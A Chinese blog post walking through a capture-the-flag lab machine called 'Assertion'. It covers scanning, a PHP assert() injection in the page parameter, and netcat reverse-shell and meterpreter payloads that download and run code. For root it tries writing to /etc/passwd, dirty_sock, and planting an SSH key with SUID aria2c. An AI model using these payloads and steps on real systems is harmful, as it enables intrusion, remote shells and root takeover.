实战打靶集锦-009-Assertion

**写在前面:**记录博主的一次不完美的打靶经历。


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
通过扫描,锁定目标靶机的地址为192.168.65.198,198是kali主机的地址。

2. 端口扫描

通过下面的命令进行一下全端口扫描。

$ sudo nmap -p- 192.168.65.198

在这里插入图片描述
这个靶机只开放了22号端口和80号端口。

3. 服务枚举

通过下面的命令,枚举一下两个端口上跑的服务。

$ sudo nmap -p22,80 -A -sV -sT 192.168.65.198

在这里插入图片描述
通过这些信息,我们基本上确定了22端口上跑的是openssh服务,版本是7.6p1;80端口上跑的是Apache服务,版本是2.4.9;目标靶机是Ubuntu系统,内核版本大致在4.15~5.6之间。

4. 服务探查

接下来我们将探查一下Apache服务。先从浏览器开始。

4.1 浏览器访问

在这里插入图片描述
看上去貌似是一个健身俱乐部的网站,快速点击一下页面,没看到有价值想的信息。

4.2 目录枚举

接下来,我们通过下面的命令进行一下目录枚举。

$ dirb http://192.168.65.198

在这里插入图片描述
挂上big.txt字典再扫描一下试试看。

$  dirb http://192.168.65.198 /usr/share/wordlists/dirb/big.txt -r

在这里插入图片描述
再用dirsearch扫描一下。

$ dirsearch -u http://192.168.65.198

在这里插入图片描述
再用dirb挂在big字典扫描一下php。

$ dirb http://192.168.65.198 /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述

4.3 目录探查

对上面扫描出来的目录,进去探查一下,并没与发现实际有用的内容,好不容易有个填写联系方式的地方,其实并没法提交信息。

4.4 小结

到目前为止,没有一点进展,80端口上没有发现可疑的内容,22端口上的hydra爆破也没有结果。只能求助于网络了,果真有网络大神在B站上分享了整个攻击过程(https://www.bilibili.com/video/BV1VT4y1z7mT/?spm_id_from=333.788)。接下来就是看看按照大神的思路是不是可以走下去。

5. 本地文件包含漏洞分析与利用

按照这位大神的说法,这个站点下有一些“index.php?page=xxx”的页面,并且/pages/路径下还有对应的php文件,说这里很有可能存在本地文件包含漏洞。(大神就是牛逼啊,一眼就看出了问题的所在,我把这里直接忽略了,实在是无知者无畏!)
在这里插入图片描述
接下来google搜索一下有关PHP assert的LFI,会找到一个git上的地址(https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md)。
在这里插入图片描述
对上图中所示的内容进行URL编码(网上工具很多,在线的也有,我用的是站长工具:https://tool.chinaz.com/tools/urlencode.aspx,因为我百度了多个都不靠谱),编码后的内容为“%27%20and%20die(show_source(%27%2Fetc%2Fpasswd%27))%20or%20%27”。
接下来将之前访问http://192.168.65.198/index.php?page=gallery的history中的记录通过邮件菜单“Send to Repeater”发送到Repeater中,然后在Repeater的Request界面中将原来的gallery替换成我们URL编码后的内容。
在这里插入图片描述
然后点击左上角的Send,发出请求。这个时候我们的response中得到了目标靶机“/etc/passwd”的内容。
在这里插入图片描述
这里确实可以使用本地文件包含的漏洞,接下来我们使用前面git上的另外一个payload ' and die(system("whoami")) or ',把其中的whomai替换成我们要构建反弹shell的命令,修改后的payload如下。

' and die(system("sh -i 2>&1 | nc 192.168.65.189 4444")) or '

将上面的payload进行URL编码后(%27%20and%20die(system(%22sh%20-i%202%3E%261%20%7C%20nc%20192.168.65.189%204444%22))%20or%20%27),用同样的方法在Burp中请求(请求之前记得现在本地对应的端口上监听)。
在这里插入图片描述
貌似反弹失败了,搜一下这个错误试试看,将payload简单修改一下(sh修改成/bin/bash)。

' and die(system("/bin/bash -i 2>&1 | nc 192.168.65.189 4444")) or '

进行URL编码后继续请求。
在这里插入图片描述
还是有些异常,继续修改。

' and die(system("/usr/bin/bash -i 2>&1 | nc 192.168.65.189 4444")) or '

URL编码后继续请求,还是异常。
在这里插入图片描述
我们不猜测了,接下来直接用水獭大神的方法,通过下面的命令用msfvenom生成反弹shell的elf文件。

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.65.189 LPORT=4444 -f elf > shell.elf

在这里插入图片描述
接下来想办法把这个elf文件上传到靶机上面。先在kali上启动http服务。

python3 -m http.server 80

然后将下面包含wget的payload进行URL编码后通过Burp请求。

' and die(system("wget http://192.168.65.189/shell.elf")) or '

在这里插入图片描述
只返回了200 ok,看不到实际结果,我们通过下面的命令URL编码后,看看有没有上传成功。

' and die(system("ls -lah")) or '

在这里插入图片描述
目录下没有找到对应的elf文件,看来是没有上传成功,可能是当前目录没有写权限,下载到tmp目录试试看。

' and die(system("wget http://192.168.65.189/shell.elf -O /tmp/shell.elf")) or '

在这里插入图片描述
再通过ls命令查看一下。

' and die(system("ls -lah /tmp")) or '

在这里插入图片描述
应该是上传成功了。然后给我们上传的shell赋予执行权限。

' and die(system("chmod u+x /tmp/shell.elf")) or '

在这里插入图片描述
然后在kali主机上启动4444端口的监听,并在靶机上执行/tmp/shell.elf文件。

' and die(system("/tmp/shell.elf")) or '

在这里插入图片描述
返回消息为空,并且监听也没有成功建立,有可能是我直接用“nc -lvnp 4444”建立监听的原因。接下来按照水獭大神的做法,通过Metasploit建立监听。

$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 192.168.65.189
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

在这里插入图片描述
接下来我们继续通过前面的方式运行一下靶机上的/tmp/shell.elf。

' and die(system("/tmp/shell.elf")) or '

在这里插入图片描述
虽然这次的响应仍然是空的,但是实际上监听建立成功了。接下来尝试查看一下详细信息。
在这里插入图片描述
虽然这次的响应仍然是空的,但是实际上监听建立成功了。接下来尝试查看一下详细信息。
在这里插入图片描述
确实可以正常执行shell,接下来的任务就是提权了。

6. 提权

6.1 探查/etc/passwd

在这里插入图片描述
从上面的输出应该可以看出,root、soz、fnx是有相对正常的shell权限的。基于之前的教训,先在这里尝试一下弱密码提权。
在这里插入图片描述
看来这个途径是行不通了,直接尝试向passwd文件添加一个root权限的用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$.69upiMz$aV4Mw4n3Xsen28aK6TEwX1:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
这是徒劳的。

6.2 枚举可执行文件

用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。

$ find / -type f -user root -perm -o=w 2>/dev/null

这里跟之前一样,除了/proc目录和/sys目录下的内容,并没有发现实际有价值的信息。然后搜索一下带有SUID标记的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
查询结果倒是挺多,貌似没有什么可用的,直接用sudo -l查看一下试试。
在这里插入图片描述
嗯,不允许。

6.3 枚举定时任务

接下来通过查看crontab文件看看有哪些定时任务在执行。
在这里插入图片描述
貌似也没有在执行的定时任务。

6.4 home目录探查

接下来探查一下当前用户的home目录。
在这里插入图片描述
/var/www就是当前www-data用户的home目录,下面只有一个html的子目录。
在这里插入图片描述
通过翻找,在/var/www/html/.todeletelater目录下发现了一个名为id_rsa的私钥文件,除此之外没有发现可以的内容。
在这里插入图片描述
接下来我们直接尝试用这个key从kali上以root用户登录靶机。
在这里插入图片描述
貌似不行,修改一下权限,然后继续。
在这里插入图片描述
额,id_rsa密钥有密码,看来没法直接用了。

6.5 操作系统信息枚举

在这里插入图片描述

6.6 公共EXP搜索

先搜索一下Ubuntu操作系统的。
在这里插入图片描述
精准命中啊,直接弄下来看看。

在这里插入图片描述
从代码来看,这个EXP的利用也比较明确,那就按照这个一步一步来吧。
先把build-alpine下载下来。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

然后切换到root用户进行build。

$ su root
# bash build-alpine

在这里插入图片描述
通过python http.server和wget将编译好的.tar.gz文件以及shell脚本上传到目标靶机,不再赘述。
执行提权操作的时候,始终报如下的错误,貌似没有权限在当前目录写临时文件.config。
在这里插入图片描述

6.7 linpeas提权

没有其它的招数了,借用水獭大神的思路,使用linpeas试试看。
说明:这里只是借用水獭大神使用linpeas的思路,具体还是自己努力挖掘比较好,这对提升能力也是有帮助的。
先把脚本从git下载到kali本地。

$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

然后启动http服务上传到目标靶机的/tmp目录下,不再赘述。接下来直接运行linpeas脚本,大神特别交代。

$ sh /tmp/linpeas.sh

在这里插入图片描述
这个工具的牛逼之处在于以不同的颜色标记找到的内容,比如红色和黄色的大概有95%的概率是提权向量,并且红色的需要格外注意。
在linpeas的输出信息中,下面的几个点格外引人注意。
在这里插入图片描述
我们先看看第一个CVE漏洞CVE-2019-7304。网上搜索了一下,这个貌似是利用安装Ubuntu的时候默认安装的snap服务的一个漏洞,通过利用名为dirty_sock(脏牛)的攻击代码可以基于snap服务进行提权。并且通过Git上关于dirty_sock的说明得知,对于2.37.1或者更新的版本上,都不再存在这个漏洞。
在这里插入图片描述
先查看一下我们当前靶机上的snap版本吧。
在这里插入图片描述
额,不在这个EXP的范围内,不过有网友说4.x版本上也有存在这个漏洞的案例。既然这样,我们把dirty_sock的代码弄下来试试看,说不定攻进去了呢。

$ git clone https://github.com/initstring/dirty_sock.git

在这里插入图片描述
将代码打个包。

$ tar -czvf dirty_sock.tar.gz dirty_sock

然后上传到目标靶机,这里不再赘述。然后在靶机上解包,进入dirty_sock目录,然后执行。

$ tar -zxvf dirty_sock.tar.gz
$ cd dirty_sock
$ python3 dirty_sockv2.py

在这里插入图片描述
这个漏洞在我的靶机上确实是补上了,如果执行成功的话,这个EXP会以dirty_sock为用户名密码在我们的靶机上创建一个账号,进入这个用户之后可以在/etc/shadow下找到用户密码相关的一些信息。接下来我们转向CVE-2002-1614看看。
在这里插入图片描述
这个漏洞貌似主要还是针对HP-Unix的,这里直接跳过。接下来是好一个aria2c的程序,貌似这个程序具备SUID权限。可是不知道怎么用啊,这个玩意儿对我来说太陌生了,就连它是干什么的我都不知道,google搜索吧(我直接搜索的aria2c privilege escalation)。
通过搜索发现,aria2c是一个下载工具,拥有SUID权限的话,意味着可以用它下载任何内容,并且可以保存在任意位置。这就有点意思了,我们是不是可以创建一对密钥,然后把公钥上传到靶机上的/root/.ssh下,让靶机相信我的kali攻击机,然后直接通过key以root用户身份进入到靶机呢?貌似可行性很高啊!动起手来。
现在kali上生成密钥对。

$ cd ~/.ssh
$ ssh-keygen -t rsa
$ ls -lah

在这里插入图片描述
接下来,我们将公钥id_rsa.pub拷贝到我们的工作目录下,然后上传到目标靶机的/root/.ssh目录下面,如果root下面有对应的密钥的话,直接覆盖掉。

$ cat ~/.ssh/id_rsa.pub >> ~/00000/Assertion /authorized_keys
$ cd ~/00000/Assertion
$ python3 -m http.server 80

在目标靶机上用aria2c下载这个公钥。

/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.65.189/authorized_keys" --allow-overwrite=true

在这里插入图片描述
上传成功,激动人心的时刻到了,我们直接用root用户登录试试看。

$ ssh root@192.168.65.198

在这里插入图片描述
惊不惊喜?意不意外?

7. 获取flag

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值